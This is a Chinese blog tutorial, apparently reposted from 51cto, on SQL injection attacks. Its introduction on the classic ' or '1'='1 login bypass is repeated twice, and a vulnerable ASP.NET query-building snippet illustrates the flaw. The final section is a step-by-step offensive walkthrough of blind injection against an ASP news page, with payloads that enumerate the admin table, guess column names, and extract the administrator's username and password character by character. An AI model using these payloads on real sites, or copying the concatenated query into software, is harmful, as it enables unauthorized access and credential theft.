在第9天到第11天我们介绍了SQL这个概念,后来因为大家反映没用(其实是很有用的,基础不好怎么晋级呢?)
今天我们就来好好说说利用SQL进行***
什么是SQL注入式***?
所谓SQL注入式***,就是***者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式***。常见的SQL注入式***过程类如:
⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。
⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子:
System.Text.StringBuilder query = new System.Text.StringBuilder(
"SELECT * from Users WHERE login = '")
.Append(txtLogin.Text).Append("' AND password='")
.Append(txtPassword.Text).Append("'");
⑶ ***者在用户名字和密码输入框中输入"'或'1'='1"之类的内容。
⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于***者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。
⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。
⑹ 由于SQL命令实际上已被注入式***修改,已经不能真正验证用户身份,所以系统会错误地授权给***者。
如果用户的帐户具有管理员或其他比较高级的权限,***者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表。
(对于这里有些名词如果你不太了解,请你翻阅以前的教程)
今天我们就来好好说说利用SQL进行***
什么是SQL注入式***?
所谓SQL注入式***,就是***者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式***。常见的SQL注入式***过程类如:
⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。
⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子:
System.Text.StringBuilder query = new System.Text.StringBuilder(
"SELECT * from Users WHERE login = '")
.Append(txtLogin.Text).Append("' AND password='")
.Append(txtPassword.Text).Append("'");
⑶ ***者在用户名字和密码输入框中输入"'或'1'='1"之类的内容。
⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于***者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。
⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。
⑹ 由于SQL命令实际上已被注入式***修改,已经不能真正验证用户身份,所以系统会错误地授权给***者。
如果用户的帐户具有管理员或其他比较高级的权限,***者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表。
(对于这里有些名词如果你不太了解,请你翻阅以前的教程)
今天我们来说个很简单的用新闻页面的""&request 漏洞做的注入 在地址栏输入: and 1=1 查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表 在地址栏: and 0<>(select count(*) from admin) 返回页正常,假设成立了。 下面来猜猜看一下管理员表里面有几个管理员ID: and 1<(select count(*) from admin) 页面什么都没有。管理员的数量等于或者小于1个 and 1=(select count(*) from admin) 输入=1没显示错误,说明此站点只有一个管理员。 下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。 and 1=(select count(*) from admin where len(username)>0) 猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的 user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu 用户名称字段猜解完成之后继续猜解密码字段 and 1=(select count(*) from admin where len(password)>0) password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧 我们已经知道了管理员表里面有3个字段 id,user,password。 id 编号 user 用户名 password 密码 下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来 先猜出长度! and 1=(select count(*) from admin where len(user)<10) user 字段长度小于10 and 1=(select count(*) from admin where len(user)<5) user 字段长度不小于5 慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确 and 1=(select count(*) from admin where len(user)=6) 下面猜密码, and 1=(select count(*) from admin where len(password)=10) 猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了 下面该做的就是把他们拆开来一个一个猜字母 and 1=(select count(*) from admin where left(user,1)=a) 返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了 开始猜解帐号的第二位字符。 and 1=(select count(*) from admin where left(user,2)=ad) 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 其实猜出了前几个字母你就自己可以想像了,用到社会工程学了哟~,比如猜到了ad ,你就可以猜了 administrator,or ,admin,or ,adminstra.......这样猜的效率比较高哟! 工作还没有完,别忙着跑了,还有10位密码,呵呵 and 1=(select count(*) from admin where left(password,1)=a) 经过无数次错误之后(首先大家得有个准备SQL注入有时候就是很烦的) htttp://host/news/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra) 结果密码是administra 就这么简单,我只是举个很简单的例子,想大家应该会灵活应用,当然我还会讲多一些方法的 。今天就到这,因为这2天有点事,所以还请大家多多谅解 |
转载于:https://blog.51cto.com/userli/68779